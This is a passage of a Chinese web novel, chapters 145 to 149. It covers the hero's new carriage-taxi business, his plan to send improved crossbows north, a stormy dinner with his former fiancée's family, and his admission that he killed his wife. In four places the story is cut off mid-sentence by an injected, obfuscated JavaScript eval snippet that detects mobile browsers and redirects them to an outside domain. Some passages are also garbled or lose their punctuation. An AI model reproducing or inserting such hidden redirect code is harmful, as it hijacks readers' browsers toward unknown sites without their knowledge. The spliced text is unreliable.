如果自己一天赚二百文,那岂不是一天就有一百七十文的收入,一个月下来就是五吊钱啊! 这不是发财了吗? 魏大勇张了张嘴,想要说些什么,却发现自己竟一时语 塞,只能憨厚地笑着。心中暗自发誓,定不负掌柜的所望,为至臻马车行拼尽全力。 “谢掌柜的大恩!”魏大勇朝着晴雯深深鞠躬,双手抱拳,言辞间满是诚挚与感激,引得其他车夫纷纷都投来羡慕的目光。 一天少交二十文,一个月就少交六百文份子钱! 这得吃多少肉啊! 他们不禁懊悔起先前的迟疑,如果先开口回答,说不定自己也能混个队正当当。 晴雯嘴角含笑,声音柔和:“除了魏大勇,其他人可以先回家了,明天还是准点上工,晚间我已安排木匠为你们的马车逐一编号,过几天我们就正式营业!” “哈哈哈哈,多谢掌柜的!”众人闻言,心中喜悦难以言表,同时也对晴雯这个新掌柜也充满了尊敬。 不像上一个胖掌柜,没什么水平还鼻孔朝天、吆五喝六的,根本不把他们当人看。 同时晴雯也很享受这种被他人尊敬的感觉,笑着与众人挥手再见。 众人有说有笑地离开。 晴雯悠然自得地坐在大雄宝殿前古朴的石阶上,轻轻向魏大勇勾了勾手指,示意他过来。 “大勇,”晴雯轻声吩咐,“稍后会有木匠师傅来,给我们的马车逐一编号,此事便交由你全权监督。告诉木匠,要将四位数的编号随意打乱编排,无需刻意有序。最重要的是,在编号上面一定要镌刻上‘至臻车马行’的招牌。” “小的明白,请掌柜的放心。” 第145章 哪那么多废话?让你坐你就坐 夜幕低垂,宵禁的钟声悠悠回荡于京城的大街小巷,为这座古老的城市披上了一层神秘的寂静面纱。 早在宵禁之前,林臻便给兵马司送去密信,告诉他们晚上有木作会给四条大街画马车线,而兵马司则需对此视而不见,既不询问,亦不干涉,更不可轻举妄动,缉拿任何人等。 这位新任兵马使,孔武,乃是平国公孔峰膝下二子。此人也算林臻的铁杆,在接到密信后立刻安排部署,不在话下。 与此同时,工部迅速草拟公文,并联合兵马司、巡防营、城门令等多个要害部门。一夜之间,京城内外,无论是狭窄的巷弄还是宽阔的主街,皆贴满了告示。 白纸黑字,赫然在目,严禁百姓横穿四条主干道的马路。若被抓到第一次警告,第二次罚款,第三次服徭役半月。 次日,当晨曦初破,晨钟悠扬之声荡开后,百姓们才开始出门而去,来到玄武大街上。 只见街道正中,五条雪花般皎洁的线条静静铺展,勾勒出四条的车道。中央四条车道上,硕大的箭头赫然在目,不知道是什么意思。 兵马司的士兵身着铁甲,站在新绘就的十字路口指挥交通,按照人流量与车流量来灵活调度,判定着百姓穿行的最佳时机。 正当几位百姓欲图径直穿越这宽阔的街道时,兵马司的一名士兵已稳步上前,厉声喝道:“玄武大街禁止横穿!违者重罚!想过去就走那边的十字路口! “什么?这是何道理?百姓当即都有些不乐意,但面对面露凶光、凶神恶煞的军爷,也不敢再出言反驳,只得顺从地朝着那十字路口缓缓行去。 不多时,玄武大街的尽头便传来了一阵清脆悦耳的马车铃声,伴随着马蹄与车轮交织的叮当作响,数十辆马车鱼贯而出,宛如一条流动的彩带,为这繁忙的街道增添了几分生机。 他们有的在中间车道上飞速疾驰,有的则慢悠悠地在慢车道等待拉客。 熙熙攘攘的十字路口,有一家三口正焦急地等待着士兵放行。 那男子紧抱着怀中的孩子,一遍遍地向指挥交通的士兵恳求,可不管他怎么说,指挥交通的士兵就是不让他过去。 男子急躁地问他:“这位军爷,我们什么时候才能过去呀?我父亲生病了,急等着抓药呢。 士兵回问道:“去哪抓药啊? “去东市的孙神仙那里啊。 “那得走到什么时候啊?等你走到了你爹脑门都凉了,还不赶紧坐车去? “坐车?坐什么车啊? ” “那边就有马车,赶紧去坐。”士兵指了指慢悠悠在路边闲逛的马车,马车屁股后面还写着斗大的字:至臻车马行。 下面是编号:玖肆幺捌。 男子想起去东市需要穿过朱雀大街,便不解地问道:“军爷,朱雀大街上明文规定不让骑马啊。” “不让骑马又没说不让走马车,哪那么多废话?让你坐你就坐,坐一次才五文钱!” 男子闻言,眼中闪过一丝惊讶,随即喜上眉梢连声确认:“真的假的?才五文钱?” “媳妇媳妇,我们快坐马车去!”言罢,他迫不及待地拉着妻子就往马车处奔去。 围观的人群朝着十字路口中央挺立的士兵,投去好奇的目光,七嘴八舌地询问起来。 “军爷,这马车是去哪都五文钱吗?” “军爷,朱雀大街真让走马车啊?我们刚起来还没去过呢!” “军爷,这车道不让我们走,是不是专门给马车走的呀?” 那位士兵渐渐沦陷在这在一片“军爷”的呼唤声中,他能感觉到,这声“军爷”可不是往日里惧怕的称谓,而是源自民间最质朴的敬意与亲近,于是他也诚恳地回答道。 “这车马行是王府世子琢磨出来的,就是为了惠及百姓,方便大家出行!乘坐一次起步价五文,你就是走一丈远,也是五文钱!但要是超过半盏茶的时间,就得加钱了,具体多少钱你们也可以和车夫商量。” “这么一说还挺合适的,我正要去北面喇嘛庙呢,靠走得走一个时辰!” “那你还犹豫什么,赶紧去找马车坐,晚了可就没了!” “军爷,军爷!我们家老祖宗过生日,需要采买的东西太多了,可以租一天车吗?” “你问我干什么?去问车夫啊!” 士兵正耐心地和众人解释,忽然,刚刚上车的一家三口已从旁侧的快车道呼啸而过,轻盈地超越了他们。 男子半边身子探出车窗,满脸洋溢着喜悦,高声呼喊道:“这马车宽敞又舒坦,诸位何不也来体验一番?我到东市不过区区六文钱!” 话音未落,犹如一阵风吹散了人群的犹豫。 “哎呀,快上车快上车!”众人纷纷响应,一时间,如潮水般涌向剩余的马车。 霎时间,玄武大街上的二十辆马车,在片刻之间便被瓜分殆尽,唯有那些目的地近在咫尺的行人,依旧保持着从容,等待着士兵有条不紊地指引。 没抢到马车的人只能站在抱怨道:“真是的!这马车怎么这 么少啊!” “就是啊,前天还乌央乌央的一大群呢!” “哎哎哎,又来一辆!你们谁也没跟我抢啊!” 民众们爆发出很高的热情,对那既便捷又经济实惠的马车钟爱有加。尤其马车内部装饰得也很奢华,令人眼前一亮,不像以前的破车,凳子都咯屁股。 至臻马车行特意为马车内的座椅添置了柔软的垫子,宽敞的空间足以容纳六人同坐,舒适无比。车窗设计得极为巧妙,可随心所欲地开合,让乘客尽享旅途的清风与美景。 车夫们也很爱干净。每当马匹排泄,他便迅速地拿起小铁锹将粪便铲起,然后用袋子封存,待到晚上再统一处理,绝不留下丝毫秽物。 一旦马儿饿了或是渴了,车夫会引领它前往就近的马厩,那里有备好的草料和清水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789278|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短短几分钟,马儿便能恢复活力,继续行驶。 一天下来,六十辆马车几乎没休息过,车轮滚滚,马蹄声声,赚的是盆满钵满。 勤奋的魏大勇只在上午的时候啃了半块粗糙的锅盔,剩下的时间他几乎与马背和车辕融为一体,不知疲倦地穿梭在京城的大街小巷。 晚上收摊一数,竟然赚到二百六十个铜板! 巨款呐! 足以媲美乡间农夫一月耕作的收成。 林臻今日上街的时候也看到了这繁忙的景象,琢磨着招募车夫的工作可以重新开始了。 毕竟六十辆马车没办法满足京城五十万百姓的需求。 再者,六十辆马车,一辆五十文的份子钱,总共算下来也才三吊钱,换成银子也就三两而已,对他来讲和没赚没什么区别。 起步价从两文提高到五文也是他的主意,因为他想让车夫们多赚一点,别忙活一个月最后兜里剩不下钱,全给自己打工了。 今日慕容嫣依旧没有召自己入宫的意思,既然如此,林臻决定趁机办点自己的事情,他来到了兵部尚书刘恺威家。 他需要给可怜的胖子铺铺路。 刘恺威,正值天命之年,五十岁的身躯里藏着不凡的气度。身为文官,他却有着武将般的硬朗,斑白的鬓发被精心梳理,一丝不苟,整个人显得神采奕奕,丝毫不见老态。 他的存在,仿佛是对“文能提笔安天下,武亦马上定乾坤”这句话的最佳诠释。 而且他是林震仙的铁杆小弟,可以说在他眼中只有摄政王,没有皇帝。 只可惜在原书中,顾北辰铲除林震仙后,对他施以酷刑,却未能从其口中撬出半字,最后刘恺威绝食而死,忠烈之心令人叹惋。 当林臻亲自登门时,刘恺威面上的笑容淳朴而真挚,满是欢迎之色。 他热情地引领林臻步入书房,爽朗的笑声回荡在廊间:“哈哈哈哈,世子大驾光临,实乃蓬荜生辉,快快请坐!来人哪,吩咐厨房,准备最好的酒菜!” 知道是自己人,林臻便也不作客套,坦然落座,言语间透着几分亲近:“刘伯伯,您就别客气了,小侄今日前来,实则是有一事相求,等会儿说完便走,不敢多扰。” “这可不行,你多日不来,今天来了怎么也得陪伯伯我好好喝上几杯才是!哈哈哈哈。”刘恺威的笑声爽朗而豪迈。 在王府里,林臻只有林震仙老爷子一个亲人,但祖孙二人并不经常见面。 故而,当刘恺威那满溢的热情拂过林臻心田时,他不禁感到一丝别样的温馨。 然而,这份温情转瞬即逝,因为刘恺威接下来的话犹如晴天霹雳,险些把林臻吓死。 “管家,快去喊颜颜出来作陪,就说世子来了!” “是。”管家答应一声就走了。 林臻都傻了。 颜颜? 那个与林震仙一起战死沙场的巾帼女英雄? 喊她出来做什么? 第146章 林臻的前女友——刘妙颜 林臻脑海中闪过原书里的情节嘴角尴尬微露望向刘恺威迟疑道:“伯伯要不还是别惊动颜颜了我怕她” “好你个林臻!居然还有脸来我家看枪!!”话音未落门外骤然响起一声清脆而带着几分娇嗔的怒喝紧接着银光如电一柄闪耀着冷辉的长枪破空而来直指林臻心窝。 林臻吓得脸色煞白周身寒毛直竖。他本能地想要闪避 刘恺威面色沉凝说道:“颜颜不得胡闹!” 林臻顺着枪尖看去就看到一个梳着高马尾英姿飒爽的大美人正站在门口的阳光下她身材高挑英姿勃发宛如战场归来的女将手持长枪气势如虹。 “爹!这种人根本不配登我们家门女儿今天非戳他几个透明窟窿不可!” 林臻都震惊了。这娘们身高得有一米八身材十分匀称非但未着长裙以显柔美反倒是身着一套利落紧身的戎装将她那飒爽英姿勾勒得淋漓尽致。 这就是林臻的前女友亦是林震仙早年为他缔结的娃娃亲对象——刘妙颜。 两人之间的事情.三言两句真说不清楚。 那个时候林臻还没穿越过来原书中也没有对这个女人多做介绍只是在她战死沙场的时候提了一嘴其他的过程全都是林臻通过融合记忆了解的。 刘恺威怒声道:“放肆!世子乃是客人你岂能如此无礼还不把兵器收起来!” “哼!”刘妙颜闻言眉头一挑手中的长枪瞬间撤回重重杵在地上发出“咚”的一声沉闷回响震得周遭空气都似乎为之一颤。 林臻见状心中暗自松了口气缓缓站起身来对着刘妙颜微微作揖:“颜颜好久不见” 然而话音未落便被刘妙颜冷厉的声音打断:“不许你这样叫我!” 刘恺威的脸色更加阴沉怒视着刘妙颜责备道:“颜颜你还有没有点规矩!世子今天登门是来谈正事的岂容你如此放肆!” 刘恺威家里六个孩子唯独对这个小女儿最是头疼。 刘妙颜从小便性格暴躁性情似火不喜女红偏爱习武十八岁的年纪已经武艺超群就连胖子看到都躲得远远的如今在左吾卫领了个从七品的闲职。 这多半还是缘于她身为女子的身份所限。若换作男儿身林震仙大手一挥最差也得是个实权中郎将。 刘妙颜轻哼一 声,步伐中带着几分不羁,径直走到对面坐下,手中长枪随意搁置于椅侧,枪尖微垂朝着自己脑门,比命还长的美腿抬起一只,踩在椅子上不停地抖动,一双十分帅气的双眸死死盯着林臻。 这姿势如果再配上一根雪茄,绝对比二流子还二流子呢。 她虽然长得很美,但却没有一丝一毫的女人味,也难怪以前的林臻会不喜欢她。 见女儿终于稳当下来,刘恺威心中一块大石也终于落地,缓缓于主位上落座,望向林臻的目光中满是慈爱与关怀,笑道:“世子今天来家里,所为何事啊?” 林臻收回目光,看向刘恺威,轻声笑道:“嗐,小侄是为了我那不成器的兄弟而来的。” “哦?莫非是胖子?” “正是。” “哈哈哈哈。”刘恺威大笑,摆手示意林臻不必太过挂怀,“此事你大可放心,铁男早就来找过我了,王爷也亲自下令从山海关调四千兵马给他,想来,他在玄菟的日子不会比京城差的。” “小侄担心的不是这个,而是”林臻不自觉的看了看刘妙颜。 后者瞪着眼睛,立刻攥住长枪,豪气干云地喝道:“有什么烂事还怕我听啊?” “额”林臻下意识地摸了摸鼻尖,转而略显尴尬地转向刘恺威,缓缓言道:“伯伯,我手里有一批改良过的八牛弩,希望您能划进兵部的补给里,派兵给胖子送去。” “你说什么?八牛弩!?”刘恺威闻言,惊得猛地站起身,眼中满是不可置信之色。 这玩意居然能出现在城里,而他这个兵部尚书竟然不知道! 这也太荒谬了! “贤侄,那八牛弩乃国之重器,你岂能私有!听伯伯的话,有多少赶紧都送到兵部来,伯伯想办法帮你摆平!” 林臻心中涌起一股暖流,他笑着说道:“伯伯不必如此激动,陛下已经知道了,并且也知道我拿八牛弩射杀过白袍义从的事情。” “啊?” 离谱,太离谱了。皇帝装作视而不见倒也罢了,毕竟他没什么话语权。但这么重要的事情,怎么连王爷都没说一声啊! 万一出的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789279|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可如何是好! 林臻见他恍惚,便知道此刻他一定是震惊万分,于是笑着道:“伯伯,改良八牛弩的事情王爷是知道的,威力我也试验过了,并无不妥之处。” “你都改了哪里?” “射程增加五成,两个人就能操作,还可以拆卸组装。” “嘶”刘恺威倒吸一口凉气,难以置信地道:“ 两个人就能操作?还能拆卸组装?” 听故事的刘妙颜也忍不住冷嘲热讽:“呵,吹牛逼吧,还改良八牛弩,就你?你知道什么是八牛弩么。” 刘恺威也艰难地咽了口唾沫:“贤侄,你可莫要骗伯伯这糟老头子啊!” “小侄岂敢?只要您点头同意,二十架八牛弩我立刻让人给您送过来。” “什么?二十架!!”刘恺威震惊之色溢于言表:“你知不知道城里有二十架八牛弩意味着什么?你这臭小子难道要造反不成?” “哈哈哈哈,就算要造反,伯伯也会帮着小侄的吧?” “不可能!王爷绝不可能造反,你小子别想坑我!快说,这到底怎么回事?怎么会有这么多的八牛弩?” 林臻将自己设计之初的想法,和之后木匠的日夜赶工全盘托出。 刘恺威闻言,嘴角勾起一抹苦笑,轻轻摇了摇头叹息道:“唉,现在这年轻人真是恐怖,自己就能改良八牛弩.你让工部那群人情何以堪啊。” 言罢,刘恺威豪气地挥挥手:“罢了,既然贤侄亲自开口相求,我这做伯伯的,岂有不帮之理!区区二十架八牛弩而已,你回去后,只管吩咐人将它们拆卸妥当,细心打包,我这边即刻起草公文,让左吾卫派人送过去。” 林臻起身作揖:“多谢伯伯帮忙!” “你的忙伯伯帮了,不过你好歹告诉我,你给胖子送八牛弩干什么吧?” “很简单,我要让胖子占领外东北。” “外东北?”刘恺威有些不屑:“那不毛之地占不占有什么意思啊?” “呵呵呵,伯伯不知道,外东北可遍地都是宝贝啊!” 说话间,丫鬟仆役开始上菜了。 刘恺威招呼林臻坐下,加上刘妙颜,三个人边吃边说。 第147章 把你们都点了天灯! 刘恺威出身名门,家境富庶,自小便浸润在一种不言而喻的优渥之中。 他为人清廉自持,从不贪污,但这并不意味着他能完全拒绝礼尚往来。 林震仙麾下的将领与朝臣时常有求于他,事后往往会以慰问之名,奉上些微薄的金银或是精致的礼品,这在官场上,也算是约定俗成的一种风气。 林震仙对此睁一只眼闭一只眼。 毕竟没有几个官员会像他似的,只要看到礼物就给人家打出去。 酒过三巡,林臻的话语间洋溢着对外东北的无尽向往,细数着那片古老的黑土地上隐藏的种种宝贝与机遇。 刘恺威听后不禁倒吸一口凉气:“嘶照你这么说,外东北可都是好东西啊!那为什么老祖宗们就没发现呢?” 林臻玩笑着回答:“我们不就是后世人的老祖宗么。” 刘恺威愣了愣,随即哈哈大笑:“这噗哈哈哈哈,你这混小子!此言大善!” 正事儿说完,剩下的就是家事了。刘恺威满脸洋溢着喜悦,与林臻频频举杯,过程中还不忘关切地对刘妙颜催促道:“别光顾着自己吃,给世子夹夹菜!” “且,他爱吃不吃。”刘妙颜翻了个极其好看的白眼,但林臻却在她身上看不出任何小女儿的娇柔造作,只有豪迈的英武之气。 就连吃饭的时候她也是翘着二郎腿的,纤细脚踝上,38码的秀足随着她的谈笑风生轻轻抖动。风卷残云犹如饕餮盛宴,吃完以后用袖子擦了擦嘴,“啪叽”一声,把筷子摔在餐桌上。 随后她靠向椅背,双手环抱肩头,目光锐利而冷冽地锁定在林臻身上。 在这样的注视之下,即便再好吃的饭菜也失去了味道,林臻略带惋惜地看了看面前那炖得鲜嫩可口的大雁,慢慢放下筷子。 刘恺威放下酒盏,装作不经意的样子谈起:“世子,大婚那天,刘书瑶的事情我们都看到了,你就不打算再娶一个?” 言罢他看了看把蒜末吐出去好几米远的刘妙颜。 林臻心说,完了。 他该不会想把刘妙颜这样的男人婆介绍给自己吧? 林臻的目光掠过那曲线玲珑、却不带半分柔婉之态的身体,不由自主地唇齿轻颤,勉强把酒咽下去,说道:“伯伯说得有道理,不知道您是如何考虑的?” 刘恺威借着酒意,言辞间少了几分平日里的拘谨:“嗐,以前因为刘书瑶的事情,你和颜颜闹得很僵,现在刘书瑶那个样子,实难匹配王府主母之位。要不你重新考虑下颜颜呢?” 一声清脆而坚决的抗议打断了他的话,刘妙颜怒声道:“爹!我就是死也不会嫁给这样的男人!” “住口!”刘恺威十分生气的看着女儿,拧着虎眉厉声喝道。 “不孝女!你不嫁谁嫁?别人家二十岁的姑娘都相夫教子,生好几个娃了。你呢!?成天在男人堆里厮混,全无半点闺阁女子的端庄!吃没吃相,坐没个坐相,成何体统?” “那我也不可能会嫁给这个狗东西!您忘了他当初怎么背叛我的?” “放肆!我们刘家身为王爷的臣属,岂有世子背叛你的道理?” 见女儿手里攥着筷子,大有一镖插死林臻的打算。 刘恺威不禁暗暗心惊,连忙压下心头怒火,语重心长地叹道:“唉,颜颜,当年世子抛弃你选择刘书瑶,导致你多年未嫁。父亲知道你心里不忿。但那不是世子的错,都是那个骚妇勾引的他!” 林臻:???! 这种话也是能从老丈人嘴里说出来的? 太牛逼了吧! 林臻现在有一种:待我入关,自有大儒为我辩经的感觉。 果然,当你牛逼的时候,连出轨都是别人勾引的你。 刘妙颜冷声道:“父亲,你不必为他辩白,林臻什么德行你清楚得很!” “你看看你这说的是什么话!哪个男人还没有个年少轻狂的时候了?就连你爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789280|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我当年咳咳。”刘恺威的话语间夹杂着几分尴尬,轻咳一声后,语气一转。 “你今年已经二十岁了,再不嫁你还嫁得出去吗?只要你点头,父亲亲自登门去找王爷说!” “不嫁就不嫁,我以后就在家里陪你和我娘。” “胡闹!男大当婚,女大当嫁,女子哪有不嫁人的?你爹我这张老脸以后还得在朝堂上混呢!我不能让别人说我刘恺威的闺女是个男人婆,四九城里都没人敢娶!” “今天你嫁也得嫁,不嫁也得嫁!否则以后就别说是我刘恺威的闺女!”刘恺威干脆站起来,指着刘妙颜一锤定音,丝毫不管林臻是什么想法。 却没想到刘妙颜比他还硬气,瞬间起身,震着桌子都跟着摇晃:“哼!不是就不是!老娘这就去军营,再也不回来!” “你!” “你什么你!?以后再敢跟我提这门婚事,我就放火烧了你家,把你们都点了天灯!” 刘妙颜怒意勃发,六亲不认,不仅对刘恺威口出狂言,更是将凌厉的目光直射向林臻,葱白指尖几乎要戳到他鼻尖,一脸凶相。 “以后不许你来家,否则我TM见你一次打你一次!”言罢刘妙颜起身离开,刘恺威气得吹胡子瞪眼睛,一巴掌拍在桌子站起来。 刘恺威气得须发皆张,一掌重重拍在桌上,猛地站起,怒喝道:“小畜生!你今天敢走一个试试!” “试试就试试!不让我好过,你们都别想好过!”说完话,刘妙颜大步流星地走出去。 林臻看得真切,在她转身的瞬间,竟然有一滴温热的泪珠,承载着无尽的过往与哀愁,悄无声息地自眼角滑落,轻轻砸在地面。 看来,当年那件事情,确实在她心中刻下了难以磨灭的伤痕。 在林臻的记忆中,刘妙颜不是这个样子的。她性情爽直,不矫揉造作,言谈间虽有锋芒毕露,却总不失女子特有的温婉与含蓄。她不会和刘恺威顶嘴,更不会当众闹的如此不愉快。 第148章 刘书瑶死了,我杀的。 还记得那年刘妙颜才十六岁,举手投足间尽显少女的纯真与羞涩。 她与林臻并肩而立,身高相差无几,却总爱执起林臻的手,在大街小巷中漫步。 林臻不喜,几次拒绝,更是经常当着狐朋狗友的面挖苦、嘲讽她,说她身材健硕,膀大腰圆,全无女子该有的柔弱之姿,引得周围人连连大笑。 刘妙颜虽然生气,但却始终舍不得打林臻一下,只是将满腔怒火倾泻在那些随声附和、肆意嘲笑的纨绔子弟身上。 一番教训下来,那些纨绔们吃痛长了记性,渐渐地对与林臻疏远,到最后更是不敢和林臻在一起玩。林臻目睹此景,怒火中烧,竟不顾礼数亲自上门,誓要解除与刘妙颜的婚约。 幸好在刘恺威与林震仙的劝慰下,这才作罢。 然而自那以后,林臻对刘妙颜的嫌恶之情却如野草般疯长,难以抑制。 时光荏苒,转瞬间,刘书瑶的出现如同春日里的一抹暖阳,照亮了林臻的世界。 林臻像丢了魂似的,像个跟屁虫似的天天去找她,还扬言说非刘书瑶不娶。这句话彻底击碎了刘妙颜心中残存的最后一丝幻想与期待,结果导致她性格大变。 以至于京城里的少年、才子们都对她敬而远之,甚至刘恺威几次想登门提亲都被男方婉拒。 直到现在,刘妙颜彻底没人要了。 尽管她拥有着令人惊艳的容貌,身段亦是婀娜多姿,可谁又愿意迎娶一位空有美貌,却不通女红、不善持家,甚至还会对夫君动手的“女中豪杰呢? 回想起这些,林臻虽无半点愧疚之意,但也不免暗暗唏嘘。 现在刘妙颜对自己的意见很大,以后见面恐怕要躲着走了。 否则就凭二狗那小身板,估计人家一个大嘴巴就能抽死他。 刘恺威颓然地跌坐回椅中,长叹一口气,颤抖着手抬起酒壶,不顾一切地对嘴倾灌,直至壶中酒液一滴不剩,随后“啪叽 “唉,让世子见笑了。 林臻一开始确实在笑,但是当他捕捉到刘妙颜转身瞬间,滑落的那一滴晶莹时,却怎么也笑不起来了。 “伯伯言重了,颜颜也是一时气恼,过几天就会回来的。 刘恺威摇了摇头,眉宇间愁云更甚:“我怎会不知。只是我真正忧虑的是她的婚事啊。她的几个哥哥姐姐都已成家立业,唯独她还孤零零地悬着。唉这让我和他母亲百年之后如何闭眼啊 言罢刘恺威颓然对 外面喊道:“来人,拿酒来!” 老妻邹氏,面带愠色,脚步匆匆地自门外踏入,嘴里絮絮叨叨,满是不悦:“喝喝喝!你这死鬼一天天就知道喝!” “少管老夫,叫人去拿酒!” “不许拿!”邹氏对小厮吩咐一声,走到近前,对林臻看都不看一眼。 也难怪,自己女儿被他伤成这个样子,是个母亲都不能忍。 “你刚才又和颜颜说什么了?气得她把唐*它爸给剁了!现在正大闹后厨呢,说什么非要喝狗肉汤!” “唉,剁就剁吧,它爸也到岁数了。” “这是狗的问题吗?颜颜现在脾气越来越不好,这以后还怎么嫁人?” “要不她也嫁不出去了。” “你看看你这副样子,这是当爹说出来的话吗?我告诉你,颜颜要是守一辈子活寡,老娘和你没完!”话音未落,邹氏已愤然离去。 刘恺威的头垂得更低了,仿佛要埋进地里去,心中满是羞愧与懊悔。 林臻见状,也再无法安然端坐,只好勉强起身,礼貌中带着几分尴尬地说:“今日多谢伯伯款待,小侄这就告辞了。” “那伯伯送你。” “也好。” 林臻和刘恺威一前一后来到大门口,看着下午温暖的阳光洒满街道,林臻突然转头对他说道:“刘书瑶已经死了。” 刘恺威瞳孔巨震,刚要问就听到林臻再次说道。 “我杀的。” “世子.”刘恺威刚想开口,却见林臻已经带着二狗和侯春走远了。 林臻觉得刘妙颜如果不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789281|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恋爱脑,绝不可能受这么大的伤害。 这世间多得是痴情女子。 如果不了解她们背后的故事,你又怎么就知道今天的她,也曾付出过真情呢? 这顿酒把林臻喝得心情很不好,满脸阴郁地往家走。 二狗和侯春也收起了嬉皮笑脸,生怕触了他的霉头,毕竟世子现在可是杀过人的,不是普通纨绔了。 谁知刚走到家门口,林臻的心情更不好了。 只见刘翰阳这老东西正站在门口和看门的小厮理论:“放肆!老夫乃王府亲家,你怎能将我拒之门外?还不快快去通报王爷!” 小厮也满脸为难,但言语上却丝毫不退:“刘大人,王爷说了,不见你。” “那老夫进门去看看闺女总行吧?” “不行。” “你!老夫想看看生病的闺女有何不妥?你为何不让我进?” “刘大人,请您莫要为难小的。王爷说了,以后您不许登门。” “好啊好啊,你们一个个狗眼看人低!老夫今天就闯进去,看你们能奈我何!”言罢刘翰阳就要硬闯,小厮却很自然地让开一条路。 随后四名膀大腰圆的军卒就出现在门后面,刘翰阳立刻止步。 “你们.” 小厮又语重心长地提醒道:“唉,刘大人,王爷说了,只要您敢登门,就乱棍打死。” “为什么.老夫无错啊!”刘翰阳不死心地朝着门里大喊:“书瑶!书瑶!” 林臻走过去,脸黑得像个锅底。 正愁没腾出手弄你呢,你还来了。 “喊什么呢?” “世子!?”刘翰阳跑过来,紧紧抓着林臻的衣袖:“世子,我听说书瑶病了,想来看看她,但是这两个看门狗不让我进去!” “你进不去了,你也看不到你的女儿了。”林臻的话让刘翰阳如坠冰窟。 “为什么.你把她怎么了!?” “她死了,我杀的。”林臻低下头,血红的眼睛注视着他:“你也快回家准备后事吧。” 第149章 顾南山,这次算你赢了 “什么?书瑶已经被你刘翰阳闻讯,心如刀绞,踉跄几步,跪倒在王府那威严的门槛前,双手掩面,悲痛欲绝。 他大喊着:“为什么!你不是最喜欢书瑶了吗?如今怎能狠下心杀她!我苦命的女儿啊.呜呜呜. 刘翰阳哭得让人胆寒,看热闹的小厮和过路者都不免有几丝怜悯涌上心头。 但林臻却一直冷眼观瞧,没有任何表情。 因为他根本就没看见刘翰阳的眼泪,只有声嘶力竭的干嚎。 这是父亲心疼女儿的表现么? 这应该是心疼自己多年来的精密布局,终于在这一刻毁于一旦了吧。 刘书瑶,如果你能看到这一幕,你会是何想法? 手指颤抖地指向林臻,悲愤交加地吼道:“林臻!你胆敢残害发妻!老夫誓要将此事告之天下,上达天听,为我女儿书瑶讨回公道! “去吧,顺便把你自己的后事也准备好。林臻面色冷硬,自始至终,他的眼中都没有半点同情与怜悯,只有被压抑到极致的熊熊怒火。 这一切都是刘翰阳咎由自取。 早在他选择与顾家狼狈为奸的那一刻起,他们家的命运就已经注定了。 林臻目光如刀,轻轻掠过刘翰阳颤抖的身躯,仿佛一阵寒风刮过,随后转身,迈进府门,只留下刘翰阳一人,在风中凌乱,满心绝望。 尘土被狂风卷起,如利刃般狠狠刮擦过刘翰阳的脸庞,让他的面容凝固成一副石刻般的僵硬。 他目光如炬,死死锁定在林臻渐行渐远的背影上,眼底深处翻涌着无尽的怨毒与恨意,低语仿佛从牙缝中挤出。 “林臻!你杀死我女儿,又让我的家族陷入万劫不复之地。即便要我粉身碎骨,我也定要让你血债血偿! “哼,顾南山,这次算你赢了。 言毕,刘翰阳强压下心头的怒火与不甘,起身,一步步沉重而坚定地迈向自己的府邸。 刘府,这座昔日比肩摄政王府的宏伟宅邸,如今却如同被时间遗忘的半成品,静静伫立西市。因为它只建成一半便停工了。 林震仙停止了对刘家的一切帮助,那些曾经因顾及王爷的情面而勉强伸出援手的官员们,仿佛一夜之间换了副面孔,纷纷向自家的商贾下达了严令。 不得给予刘家丝毫便利,不得承接其工程,更不能免费帮助刘家。 几乎是一天之内,所有建筑队伍、能工巧匠、劳力苦工皆如潮水般退去,留下的只有空旷的宅院与满目的狼藉。 刘翰阳面对这突如其来的变故,心中怒火中烧,可除了咒骂林震仙全家死光外,没有任何办法。 刘翰阳回到家中,推开书房的门,便有一抹昏黄的阳光洒进室内,映出顾南山悠然自得的身影。 